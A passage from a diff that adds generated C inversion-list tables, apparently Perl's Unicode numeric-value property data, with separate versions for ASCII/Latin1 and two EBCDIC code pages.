+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__3_SLASH_4_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB9,
+	0xBA,
+	0x9F8,
+	0x9F9,
+	0xB74,
+	0xB75,
+	0xD75,
+	0xD76,
+	0xA832,
+	0xA833,
+	0x10178,
+	0x10179,
+	0x109FE,
+	0x109FF
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__3_SLASH_4_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB9,
+	0xBA,
+	0x9F8,
+	0x9F9,
+	0xB74,
+	0xB75,
+	0xD75,
+	0xD76,
+	0xA832,
+	0xA833,
+	0x10178,
+	0x10179,
+	0x109FE,
+	0x109FF
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__3_SLASH_5_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2157,
+	0x2158
+};
+
+static const UV PL_NV__3_SLASH_8_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x215C,
+	0x215D
+};
+
+static const UV PL_NV__3_SLASH_80_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD5A,
+	0xD5B
+};
+
+static const UV PL_NV__30_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1374,
+	0x1375,
+	0x303A,
+	0x303B,
+	0x324A,
+	0x324B,
+	0x325A,
+	0x325B,
+	0x5345,
+	0x5346,
+	0x10112,
+	0x10113,
+	0x10165,
+	0x10166,
+	0x102EC,
+	0x102ED,
+	0x109CB,
+	0x109CC,
+	0x10E6B,
+	0x10E6C,
+	0x1105D,
+	0x1105E,
+	0x111EC,
+	0x111ED,
+	0x118EC,
+	0x118ED,
+	0x11C65,
+	0x11C66,
+	0x1D36B,
+	0x1D36C,
+	0x20983,
+	0x20984
+};
+
+static const UV PL_NV__300_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1011B,
+	0x1011C,
+	0x1016B,
+	0x1016C,
+	0x102F5,
+	0x102F6,
+	0x109D4,
+	0x109D5,
+	0x10E74,
+	0x10E75
+};
+
+static const UV PL_NV__3000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10124,
+	0x10125,
+	0x109DD,
+	0x109DE
+};
+
+static const UV PL_NV__30000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1012D,
+	0x1012E,
+	0x109E6,
+	0x109E7
+};
+
+static const UV PL_NV__300000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109EF,
+	0x109F0
+};
+
+static const UV PL_NV__31_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x325B,
+	0x325C
+};
+
+static const UV PL_NV__32_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x325C,
+	0x325D
+};
+
+static const UV PL_NV__33_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x325D,
+	0x325E
+};
+
+static const UV PL_NV__34_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x325E,
+	0x325F
+};
+
+static const UV PL_NV__35_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x325F,
+	0x3260
+};
+
+static const UV PL_NV__36_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B1,
+	0x32B2
+};
+
+static const UV PL_NV__37_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B2,
+	0x32B3
+};
+
+static const UV PL_NV__38_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B3,
+	0x32B4
+};
+
+static const UV PL_NV__39_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B4,
+	0x32B5
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__4_invlist[] = { /* for ASCII/Latin1 */
+	223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x34,
+	0x35,
+	0x664,
+	0x665,
+	0x6F4,
+	0x6F5,
+	0x7C4,
+	0x7C5,
+	0x96A,
+	0x96B,
+	0x9EA,
+	0x9EB,
+	0xA6A,
+	0xA6B,
+	0xAEA,
+	0xAEB,
+	0xB6A,
+	0xB6B,
+	0xBEA,
+	0xBEB,
+	0xC6A,
+	0xC6B,
+	0xCEA,
+	0xCEB,
+	0xD6A,
+	0xD6B,
+	0xDEA,
+	0xDEB,
+	0xE54,
+	0xE55,
+	0xED4,
+	0xED5,
+	0xF24,
+	0xF25,
+	0x1044,
+	0x1045,
+	0x1094,
+	0x1095,
+	0x136C,
+	0x136D,
+	0x17E4,
+	0x17E5,
+	0x17F4,
+	0x17F5,
+	0x1814,
+	0x1815,
+	0x194A,
+	0x194B,
+	0x19D4,
+	0x19D5,
+	0x1A84,
+	0x1A85,
+	0x1A94,
+	0x1A95,
+	0x1B54,
+	0x1B55,
+	0x1BB4,
+	0x1BB5,
+	0x1C44,
+	0x1C45,
+	0x1C54,
+	0x1C55,
+	0x2074,
+	0x2075,
+	0x2084,
+	0x2085,
+	0x2163,
+	0x2164,
+	0x2173,
+	0x2174,
+	0x2463,
+	0x2464,
+	0x2477,
+	0x2478,
+	0x248B,
+	0x248C,
+	0x24F8,
+	0x24F9,
+	0x2779,
+	0x277A,
+	0x2783,
+	0x2784,
+	0x278D,
+	0x278E,
+	0x3024,
+	0x3025,
+	0x3195,
+	0x3196,
+	0x3223,
+	0x3224,
+	0x3283,
+	0x3284,
+	0x4E96,
+	0x4E97,
+	0x56DB,
+	0x56DC,
+	0x8086,
+	0x8087,
+	0xA624,
+	0xA625,
+	0xA6E9,
+	0xA6EA,
+	0xA8D4,
+	0xA8D5,
+	0xA904,
+	0xA905,
+	0xA9D4,
+	0xA9D5,
+	0xA9F4,
+	0xA9F5,
+	0xAA54,
+	0xAA55,
+	0xABF4,
+	0xABF5,
+	0xFF14,
+	0xFF15,
+	0x1010A,
+	0x1010B,
+	0x102E4,
+	0x102E5,
+	0x104A4,
+	0x104A5,
+	0x1087C,
+	0x1087D,
+	0x108AA,
+	0x108AC,
+	0x109C3,
+	0x109C4,
+	0x10A43,
+	0x10A44,
+	0x10B5B,
+	0x10B5C,
+	0x10B7B,
+	0x10B7C,
+	0x10BAC,
+	0x10BAD,
+	0x10E63,
+	0x10E64,
+	0x11055,
+	0x11056,
+	0x1106A,
+	0x1106B,
+	0x110F4,
+	0x110F5,
+	0x1113A,
+	0x1113B,
+	0x111D4,
+	0x111D5,
+	0x111E4,
+	0x111E5,
+	0x112F4,
+	0x112F5,
+	0x11454,
+	0x11455,
+	0x114D4,
+	0x114D5,
+	0x11654,
+	0x11655,
+	0x116C4,
+	0x116C5,
+	0x11734,
+	0x11735,
+	0x118E4,
+	0x118E5,
+	0x11C54,
+	0x11C55,
+	0x11C5D,
+	0x11C5E,
+	0x11D54,
+	0x11D55,
+	0x12402,
+	0x12403,
+	0x12409,
+	0x1240A,
+	0x1240F,
+	0x12410,
+	0x12418,
+	0x12419,
+	0x12421,
+	0x12422,
+	0x12426,
+	0x12427,
+	0x12430,
+	0x12431,
+	0x12438,
+	0x12439,
+	0x1243C,
+	0x12440,
+	0x1244C,
+	0x1244D,
+	0x12452,
+	0x12454,
+	0x12469,
+	0x1246A,
+	0x16A64,
+	0x16A65,
+	0x16B54,
+	0x16B55,
+	0x1D363,
+	0x1D364,
+	0x1D7D2,
+	0x1D7D3,
+	0x1D7DC,
+	0x1D7DD,
+	0x1D7E6,
+	0x1D7E7,
+	0x1D7F0,
+	0x1D7F1,
+	0x1D7FA,
+	0x1D7FB,
+	0x1E8CA,
+	0x1E8CB,
+	0x1E954,
+	0x1E955,
+	0x1F105,
+	0x1F106,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x2626D,
+	0x2626E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__4_invlist[] = { /* for EBCDIC 1047 */
+	223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF4,
+	0xF5,
+	0x664,
+	0x665,
+	0x6F4,
+	0x6F5,
+	0x7C4,
+	0x7C5,
+	0x96A,
+	0x96B,
+	0x9EA,
+	0x9EB,
+	0xA6A,
+	0xA6B,
+	0xAEA,
+	0xAEB,
+	0xB6A,
+	0xB6B,
+	0xBEA,
+	0xBEB,
+	0xC6A,
+	0xC6B,
+	0xCEA,
+	0xCEB,
+	0xD6A,
+	0xD6B,
+	0xDEA,
+	0xDEB,
+	0xE54,
+	0xE55,
+	0xED4,
+	0xED5,
+	0xF24,
+	0xF25,
+	0x1044,
+	0x1045,
+	0x1094,
+	0x1095,
+	0x136C,
+	0x136D,
+	0x17E4,
+	0x17E5,
+	0x17F4,
+	0x17F5,
+	0x1814,
+	0x1815,
+	0x194A,
+	0x194B,
+	0x19D4,
+	0x19D5,
+	0x1A84,
+	0x1A85,
+	0x1A94,
+	0x1A95,
+	0x1B54,
+	0x1B55,
+	0x1BB4,
+	0x1BB5,
+	0x1C44,
+	0x1C45,
+	0x1C54,
+	0x1C55,
+	0x2074,
+	0x2075,
+	0x2084,
+	0x2085,
+	0x2163,
+	0x2164,
+	0x2173,
+	0x2174,
+	0x2463,
+	0x2464,
+	0x2477,
+	0x2478,
+	0x248B,
+	0x248C,
+	0x24F8,
+	0x24F9,
+	0x2779,
+	0x277A,
+	0x2783,
+	0x2784,
+	0x278D,
+	0x278E,
+	0x3024,
+	0x3025,
+	0x3195,
+	0x3196,
+	0x3223,
+	0x3224,
+	0x3283,
+	0x3284,
+	0x4E96,
+	0x4E97,
+	0x56DB,
+	0x56DC,
+	0x8086,
+	0x8087,
+	0xA624,
+	0xA625,
+	0xA6E9,
+	0xA6EA,
+	0xA8D4,
+	0xA8D5,
+	0xA904,
+	0xA905,
+	0xA9D4,
+	0xA9D5,
+	0xA9F4,
+	0xA9F5,
+	0xAA54,
+	0xAA55,
+	0xABF4,
+	0xABF5,
+	0xFF14,
+	0xFF15,
+	0x1010A,
+	0x1010B,
+	0x102E4,
+	0x102E5,
+	0x104A4,
+	0x104A5,
+	0x1087C,
+	0x1087D,
+	0x108AA,
+	0x108AC,
+	0x109C3,
+	0x109C4,
+	0x10A43,
+	0x10A44,
+	0x10B5B,
+	0x10B5C,
+	0x10B7B,
+	0x10B7C,
+	0x10BAC,
+	0x10BAD,
+	0x10E63,
+	0x10E64,
+	0x11055,
+	0x11056,
+	0x1106A,
+	0x1106B,
+	0x110F4,
+	0x110F5,
+	0x1113A,
+	0x1113B,
+	0x111D4,
+	0x111D5,
+	0x111E4,
+	0x111E5,
+	0x112F4,
+	0x112F5,
+	0x11454,
+	0x11455,
+	0x114D4,
+	0x114D5,
+	0x11654,
+	0x11655,
+	0x116C4,
+	0x116C5,
+	0x11734,
+	0x11735,
+	0x118E4,
+	0x118E5,
+	0x11C54,
+	0x11C55,
+	0x11C5D,
+	0x11C5E,
+	0x11D54,
+	0x11D55,
+	0x12402,
+	0x12403,
+	0x12409,
+	0x1240A,
+	0x1240F,
+	0x12410,
+	0x12418,
+	0x12419,
+	0x12421,
+	0x12422,
+	0x12426,
+	0x12427,
+	0x12430,
+	0x12431,
+	0x12438,
+	0x12439,
+	0x1243C,
+	0x12440,
+	0x1244C,
+	0x1244D,
+	0x12452,
+	0x12454,
+	0x12469,
+	0x1246A,
+	0x16A64,
+	0x16A65,
+	0x16B54,
+	0x16B55,
+	0x1D363,
+	0x1D364,
+	0x1D7D2,
+	0x1D7D3,
+	0x1D7DC,
+	0x1D7DD,
+	0x1D7E6,
+	0x1D7E7,
+	0x1D7F0,
+	0x1D7F1,
+	0x1D7FA,
+	0x1D7FB,
+	0x1E8CA,
+	0x1E8CB,
+	0x1E954,
+	0x1E955,
+	0x1F105,
+	0x1F106,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x2626D,
+	0x2626E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__4_invlist[] = { /* for EBCDIC 037 */
+	223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF4,
+	0xF5,
+	0x664,
+	0x665,
+	0x6F4,
+	0x6F5,
+	0x7C4,
+	0x7C5,
+	0x96A,
+	0x96B,
+	0x9EA,
+	0x9EB,
+	0xA6A,
+	0xA6B,
+	0xAEA,
+	0xAEB,
+	0xB6A,
+	0xB6B,
+	0xBEA,
+	0xBEB,
+	0xC6A,
+	0xC6B,
+	0xCEA,
+	0xCEB,
+	0xD6A,
+	0xD6B,
+	0xDEA,
+	0xDEB,
+	0xE54,
+	0xE55,
+	0xED4,
+	0xED5,
+	0xF24,
+	0xF25,
+	0x1044,
+	0x1045,
+	0x1094,
+	0x1095,
+	0x136C,
+	0x136D,
+	0x17E4,
+	0x17E5,
+	0x17F4,
+	0x17F5,
+	0x1814,
+	0x1815,
+	0x194A,
+	0x194B,
+	0x19D4,
+	0x19D5,
+	0x1A84,
+	0x1A85,
+	0x1A94,
+	0x1A95,
+	0x1B54,
+	0x1B55,
+	0x1BB4,
+	0x1BB5,
+	0x1C44,
+	0x1C45,
+	0x1C54,
+	0x1C55,
+	0x2074,
+	0x2075,
+	0x2084,
+	0x2085,
+	0x2163,
+	0x2164,
+	0x2173,
+	0x2174,
+	0x2463,
+	0x2464,
+	0x2477,
+	0x2478,
+	0x248B,
+	0x248C,
+	0x24F8,
+	0x24F9,
+	0x2779,
+	0x277A,
+	0x2783,
+	0x2784,
+	0x278D,
+	0x278E,
+	0x3024,
+	0x3025,
+	0x3195,
+	0x3196,
+	0x3223,
+	0x3224,
+	0x3283,
+	0x3284,
+	0x4E96,
+	0x4E97,
+	0x56DB,
+	0x56DC,
+	0x8086,
+	0x8087,
+	0xA624,
+	0xA625,
+	0xA6E9,
+	0xA6EA,
+	0xA8D4,
+	0xA8D5,
+	0xA904,
+	0xA905,
+	0xA9D4,
+	0xA9D5,
+	0xA9F4,
+	0xA9F5,
+	0xAA54,
+	0xAA55,
+	0xABF4,
+	0xABF5,
+	0xFF14,
+	0xFF15,
+	0x1010A,
+	0x1010B,
+	0x102E4,
+	0x102E5,
+	0x104A4,
+	0x104A5,
+	0x1087C,
+	0x1087D,
+	0x108AA,
+	0x108AC,
+	0x109C3,
+	0x109C4,
+	0x10A43,
+	0x10A44,
+	0x10B5B,
+	0x10B5C,
+	0x10B7B,
+	0x10B7C,
+	0x10BAC,
+	0x10BAD,
+	0x10E63,
+	0x10E64,
+	0x11055,
+	0x11056,
+	0x1106A,
+	0x1106B,
+	0x110F4,
+	0x110F5,
+	0x1113A,
+	0x1113B,
+	0x111D4,
+	0x111D5,
+	0x111E4,
+	0x111E5,
+	0x112F4,
+	0x112F5,
+	0x11454,
+	0x11455,
+	0x114D4,
+	0x114D5,
+	0x11654,
+	0x11655,
+	0x116C4,
+	0x116C5,
+	0x11734,
+	0x11735,
+	0x118E4,
+	0x118E5,
+	0x11C54,
+	0x11C55,
+	0x11C5D,
+	0x11C5E,
+	0x11D54,
+	0x11D55,
+	0x12402,
+	0x12403,
+	0x12409,
+	0x1240A,
+	0x1240F,
+	0x12410,
+	0x12418,
+	0x12419,
+	0x12421,
+	0x12422,
+	0x12426,
+	0x12427,
+	0x12430,
+	0x12431,
+	0x12438,
+	0x12439,
+	0x1243C,
+	0x12440,
+	0x1244C,
+	0x1244D,
+	0x12452,
+	0x12454,
+	0x12469,
+	0x1246A,
+	0x16A64,
+	0x16A65,
+	0x16B54,
+	0x16B55,
+	0x1D363,
+	0x1D364,
+	0x1D7D2,
+	0x1D7D3,
+	0x1D7DC,
+	0x1D7DD,
+	0x1D7E6,
+	0x1D7E7,
+	0x1D7F0,
+	0x1D7F1,
+	0x1D7FA,
+	0x1D7FB,
+	0x1E8CA,
+	0x1E8CB,
+	0x1E954,
+	0x1E955,
+	0x1F105,
+	0x1F106,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x2626D,
+	0x2626E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__4_SLASH_5_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2158,
+	0x2159
+};
+
+static const UV PL_NV__40_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1375,
+	0x1376,
+	0x324B,
+	0x324C,
+	0x32B5,
+	0x32B6,
+	0x534C,
+	0x534D,
+	0x10113,
+	0x10114,
+	0x102ED,
+	0x102EE,
+	0x109CC,
+	0x109CD,
+	0x10E6C,
+	0x10E6D,
+	0x1105E,
+	0x1105F,
+	0x111ED,
+	0x111EE,
+	0x118ED,
+	0x118EE,
+	0x11C66,
+	0x11C67,
+	0x12467,
+	0x12468,
+	0x1D36C,
+	0x1D36D,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D
+};
+
+static const UV PL_NV__400_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1011C,
+	0x1011D,
+	0x102F6,
+	0x102F7,
+	0x109D5,
+	0x109D6,
+	0x10E75,
+	0x10E76
+};
+
+static const UV PL_NV__4000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10125,
+	0x10126,
+	0x109DE,
+	0x109DF
+};
+
+static const UV PL_NV__40000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1012E,
+	0x1012F,
+	0x109E7,
+	0x109E8
+};
+
+static const UV PL_NV__400000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F0,
+	0x109F1
+};
+
+static const UV PL_NV__41_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B6,
+	0x32B7
+};
+
+static const UV PL_NV__42_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B7,
+	0x32B8
+};
+
+static const UV PL_NV__43_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B8,
+	0x32B9
+};
+
+static const UV PL_NV__432000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12433,
+	0x12434
+};
+
+static const UV PL_NV__44_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32B9,
+	0x32BA
+};
+
+static const UV PL_NV__45_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32BA,
+	0x32BB
+};
+
+static const UV PL_NV__46_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32BB,
+	0x32BC
+};
+
+static const UV PL_NV__47_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32BC,
+	0x32BD
+};
+
+static const UV PL_NV__48_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32BD,
+	0x32BE
+};
+
+static const UV PL_NV__49_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32BE,
+	0x32BF
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__5_invlist[] = { /* for ASCII/Latin1 */
+	227,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x35,
+	0x36,
+	0x665,
+	0x666,
+	0x6F5,
+	0x6F6,
+	0x7C5,
+	0x7C6,
+	0x96B,
+	0x96C,
+	0x9EB,
+	0x9EC,
+	0xA6B,
+	0xA6C,
+	0xAEB,
+	0xAEC,
+	0xB6B,
+	0xB6C,
+	0xBEB,
+	0xBEC,
+	0xC6B,
+	0xC6C,
+	0xCEB,
+	0xCEC,
+	0xD6B,
+	0xD6C,
+	0xDEB,
+	0xDEC,
+	0xE55,
+	0xE56,
+	0xED5,
+	0xED6,
+	0xF25,
+	0xF26,
+	0x1045,
+	0x1046,
+	0x1095,
+	0x1096,
+	0x136D,
+	0x136E,
+	0x17E5,
+	0x17E6,
+	0x17F5,
+	0x17F6,
+	0x1815,
+	0x1816,
+	0x194B,
+	0x194C,
+	0x19D5,
+	0x19D6,
+	0x1A85,
+	0x1A86,
+	0x1A95,
+	0x1A96,
+	0x1B55,
+	0x1B56,
+	0x1BB5,
+	0x1BB6,
+	0x1C45,
+	0x1C46,
+	0x1C55,
+	0x1C56,
+	0x2075,
+	0x2076,
+	0x2085,
+	0x2086,
+	0x2164,
+	0x2165,
+	0x2174,
+	0x2175,
+	0x2464,
+	0x2465,
+	0x2478,
+	0x2479,
+	0x248C,
+	0x248D,
+	0x24F9,
+	0x24FA,
+	0x277A,
+	0x277B,
+	0x2784,
+	0x2785,
+	0x278E,
+	0x278F,
+	0x3025,
+	0x3026,
+	0x3224,
+	0x3225,
+	0x3284,
+	0x3285,
+	0x3405,
+	0x3406,
+	0x382A,
+	0x382B,
+	0x4E94,
+	0x4E95,
+	0x4F0D,
+	0x4F0E,
+	0xA625,
+	0xA626,
+	0xA6EA,
+	0xA6EB,
+	0xA8D5,
+	0xA8D6,
+	0xA905,
+	0xA906,
+	0xA9D5,
+	0xA9D6,
+	0xA9F5,
+	0xA9F6,
+	0xAA55,
+	0xAA56,
+	0xABF5,
+	0xABF6,
+	0xFF15,
+	0xFF16,
+	0x1010B,
+	0x1010C,
+	0x10143,
+	0x10144,
+	0x10148,
+	0x10149,
+	0x1014F,
+	0x10150,
+	0x1015F,
+	0x10160,
+	0x10173,
+	0x10174,
+	0x102E5,
+	0x102E6,
+	0x10321,
+	0x10322,
+	0x104A5,
+	0x104A6,
+	0x1087D,
+	0x1087E,
+	0x108AC,
+	0x108AD,
+	0x108FC,
+	0x108FD,
+	0x109C4,
+	0x109C5,
+	0x10AEC,
+	0x10AED,
+	0x10CFB,
+	0x10CFC,
+	0x10E64,
+	0x10E65,
+	0x11056,
+	0x11057,
+	0x1106B,
+	0x1106C,
+	0x110F5,
+	0x110F6,
+	0x1113B,
+	0x1113C,
+	0x111D5,
+	0x111D6,
+	0x111E5,
+	0x111E6,
+	0x112F5,
+	0x112F6,
+	0x11455,
+	0x11456,
+	0x114D5,
+	0x114D6,
+	0x11655,
+	0x11656,
+	0x116C5,
+	0x116C6,
+	0x11735,
+	0x11736,
+	0x118E5,
+	0x118E6,
+	0x11C55,
+	0x11C56,
+	0x11C5E,
+	0x11C5F,
+	0x11D55,
+	0x11D56,
+	0x12403,
+	0x12404,
+	0x1240A,
+	0x1240B,
+	0x12410,
+	0x12411,
+	0x12419,
+	0x1241A,
+	0x12422,
+	0x12423,
+	0x12427,
+	0x12428,
+	0x12431,
+	0x12432,
+	0x12439,
+	0x1243A,
+	0x1244D,
+	0x1244E,
+	0x12454,
+	0x12456,
+	0x1246A,
+	0x1246B,
+	0x16A65,
+	0x16A66,
+	0x16B55,
+	0x16B56,
+	0x1D364,
+	0x1D365,
+	0x1D7D3,
+	0x1D7D4,
+	0x1D7DD,
+	0x1D7DE,
+	0x1D7E7,
+	0x1D7E8,
+	0x1D7F1,
+	0x1D7F2,
+	0x1D7FB,
+	0x1D7FC,
+	0x1E8CB,
+	0x1E8CC,
+	0x1E955,
+	0x1E956,
+	0x1F106,
+	0x1F107,
+	0x20121,
+	0x20122
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__5_invlist[] = { /* for EBCDIC 1047 */
+	227,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF5,
+	0xF6,
+	0x665,
+	0x666,
+	0x6F5,
+	0x6F6,
+	0x7C5,
+	0x7C6,
+	0x96B,
+	0x96C,
+	0x9EB,
+	0x9EC,
+	0xA6B,
+	0xA6C,
+	0xAEB,
+	0xAEC,
+	0xB6B,
+	0xB6C,
+	0xBEB,
+	0xBEC,
